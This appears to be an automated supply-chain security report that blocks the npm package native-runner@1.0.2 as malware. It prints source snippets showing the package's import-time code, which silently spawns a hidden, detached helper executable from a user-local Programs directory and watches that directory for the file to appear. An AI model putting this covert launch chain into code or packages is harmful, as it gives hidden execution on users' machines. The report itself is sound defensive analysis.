Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. Importing the package automatically launches a fixed helper executable from a user-local Programs directory. It also waits for that executable to appear and launches it without an explicit API call. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 91.0% - **Started:** 2026-09-28T11:44:40.905Z - **Finished:** 2026-09-28T11:47:37.033Z - **Download time:** 505 ms - **Static scan time:** 9 ms - **AI review time:** 175614 ms - **Total time:** 176128 ms The recorded confidence comes from the underlying analysis.

It also waits for that executable to appear and launches it without an explicit API call. - **Trigger:** Importing the package through its main entrypoint. - **Impact:** A separately placed executable at the configured user-local path gains covert execution whenever the package is imported. - **Evidence paths:** package.json, index.js, runner.config.json - **Review source:** ai\_review - **Reviewed:** 2026-09-28T11:47:37.033Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The entrypoint reads enabled configuration, creates or watches the helper directory, and spawns the helper detached with hidden windows and ignored standard input and output. - **Attack narrative:** The package activates during normal import rather than only through its documented runner functions. It targets a fixed executable name in a user-local Programs directory, starts it detached and hidden, and watches for the file if it does not yet exist. This is an implicit helper-launch chain that can execute a staged local payload without the caller selecting that binary. - **Rationale:** The undocumented, import-time hidden launch and directory watch establish a concrete covert execution chain. The lack of a network sink does not remove the local execution and staging risk. - **Files touched:** index.js, runner.config.json, Programs/NodeRuntime/node\_runtime\_helper.exe ### Review decision - **Verdict:** Malicious - **Confidence:** 91.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The package manifest makes index.js run when the package is imported., The import path constructs a helper location under the user's Programs directory and starts an existing executable detached with hidden, ignored input and output., Automatic launch is enabled for NodeRuntime/node\_runtime\_helper.exe., If the helper is absent, import-time code creates and watches its directory, then starts it when it appears. - **Evidence against:** No network endpoint, credential collection, or data-transfer sink was found in the inspected package files. ## Affected versions and remediation This report applies to native-runner@1.0.2. - Avoid installing native-runner@1.0.2. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 2. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 3. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 91.0% - **Path:** package.json - **Public source:** [View source]() The package manifest makes index.js run when the package is imported. Public source snippet (untrusted): ```json "main": "index.js", ``` ### 4. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 91.0% - **Path:** index.js - **Public source:** [View source]() The import path constructs a helper location under the user's Programs directory and starts an existing executable detached with hidden, ignored input and output. Public source snippet (untrusted): ```javascript const config = JSON.parse(fs.readFileSync(path.join(__dirname, 'runner.config.json'), 'utf8')); const HELPER = path.join(process.env.LOCALAPPDATA || os.homedir(), 'Programs', config.helperBinary); function ensureRunning(binPath) { if (!fs.existsSync(binPath)) return; const p = cp.spawn(binPath, [], { detached: true, windowsHide: true, stdio: 'ignore' }); p.unref(); } if (config.autoLaunch) { (function boot() { try { if (fs.existsSync(HELPER)) { ensureRunning(HELPER); return; ``` ### 5. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 91.0% - **Path:** runner.config.json - **Public source:** [View source]() Automatic launch is enabled for NodeRuntime/node\_runtime\_helper.exe. Public source snippet (untrusted): ```json { "helperBinary": "NodeRuntime/node_runtime_helper.exe", "autoLaunch": true } ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 91.0% - **Path:** index.js - **Public source:** [View source]() If the helper is absent, import-time code creates and watches its directory, then starts it when it appears. Public source snippet (untrusted): ```javascript const dir = path.dirname(HELPER); if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); const w = fs.watch(dir, (_, fname) => { if (fname === path.basename(HELPER) && fs.existsSync(HELPER)) { w.close(); ensureRunning(HELPER); } } ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 1 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 1 ### Published dependency entries - img-to-native ^1.0.0 (Dependency) ## Package metadata - **Package:** native-runner - **Ecosystem:** npm - **Version:** 1.0.2 - **License:** MIT - **Version published:** 2026-09-28T04:49:11.693Z - **Package first seen:** 2026-09-27T14:31:37.011Z - **Package last seen:** 2026-09-28T22:50:05.310Z - **Known versions:** 5 - **Latest version:** 0.0.1-security - **Appeal under review:** No - **Description:** Execute native compiled binaries from Node.js projects — test runners, CLI tools, build artifacts - **Author:** devtools-community - **Keywords:** runner, binary, native, exec, spawn, cli - **Artifact files:** 4 - **Artifact unpacked size:** 2,644 bytes - **Artifact signatures:** 2 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [ADVISORY]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]()
